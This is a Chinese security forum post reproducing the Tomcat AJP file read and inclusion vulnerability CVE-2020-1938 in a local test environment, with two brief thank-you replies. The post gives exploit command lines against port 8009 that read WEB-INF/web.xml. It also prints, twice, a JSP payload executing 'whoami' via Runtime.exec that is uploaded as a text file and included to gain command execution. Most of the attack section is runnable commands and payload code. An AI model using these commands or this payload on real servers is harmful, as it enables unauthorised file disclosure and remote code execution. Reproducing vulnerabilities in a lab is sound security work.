首页
社区
课程
招聘
[分享]CVE-2020-1938_Tomcat_文件读取&包含漏洞复现
发表于: 2020-3-1 02:35 2695

[分享]CVE-2020-1938_Tomcat_文件读取&包含漏洞复现

2020-3-1 02:35
2695

漏洞影响范围包括
Apache Tomcat 6
Apache Tomcat 7 < 7.0.100
Apache Tomcat 8 < 8.5.51
Apache Tomcat 9 < 9.0.31

一、利用工具:
https://github.com/sv3nbeast/CVE-2020-1938-Tomact-file_include-file_read(借用这位大佬的工具QAQ)
使用方法:
(文件读取)
python2 "Tomcat-ROOT路径下文件读取(CVE-2020-1938).py" -p 8009 -f /test.txt 127.0.0.1

(文件包含)
python2 "Tomcat-ROOT路径下文件包含(CVE-2020-1938).py" -p 8009 -f /test.txt 127.0.0.1

二、环境搭建
http://archive.apache.org/dist/tomcat/   直接下载官方环境包

三、复现
1、使用文件读取,查看web源代码:
python2 "Tomcat-ROOT路径下文件读取(CVE-2020-1938).py" -p 8009 -f /WEB-INF/web.xml 127.0.0.1
注意,此时的目录为web根目录



2、如果存在上传功能,上传txt进行包含攻击;(这里由于是测试环境,就复制一个txt文件到根目录假装上传;实际情况的话需要知道上传文件的路径)
这里上传的txt文件为”test.txt“
内容如下:
<%
java.io.InputStream in = Runtime.getRuntime().exec("whoami").getInputStream();
int a = -1;
byte[] b = new byte[2048];
out.print("<pre>");
while((a=in.read(b))!=-1){
    out.println(new String(b));
}
out.print("</pre>");
%>
python2 "Tomcat-ROOT路径下文件包含(CVE-2020-1938).py" -p 8009 -f /test.txt 127.0.0.1 
<%
java.io.InputStream in = Runtime.getRuntime().exec("whoami").getInputStream();
int a = -1;
byte[] b = new byte[2048];
out.print("<pre>");
while((a=in.read(b))!=-1){
    out.println(new String(b));
}
out.print("</pre>");
%>
python2 "Tomcat-ROOT路径下文件包含(CVE-2020-1938).py" -p 8009 -f /test.txt 127.0.0.1 

[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课

收藏
免费 0
支持
分享
最新回复 (2)
雪    币: 83
活跃值: (1087)
能力值: ( LV8,RANK:130 )
在线值:
发帖
回帖
粉丝
2
谢谢 已经阅读
2020-3-1 15:07
0
雪    币: 2510
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
3
感谢分享
2020-3-11 12:54
0
游客
登录 | 注册 方可回帖
返回
//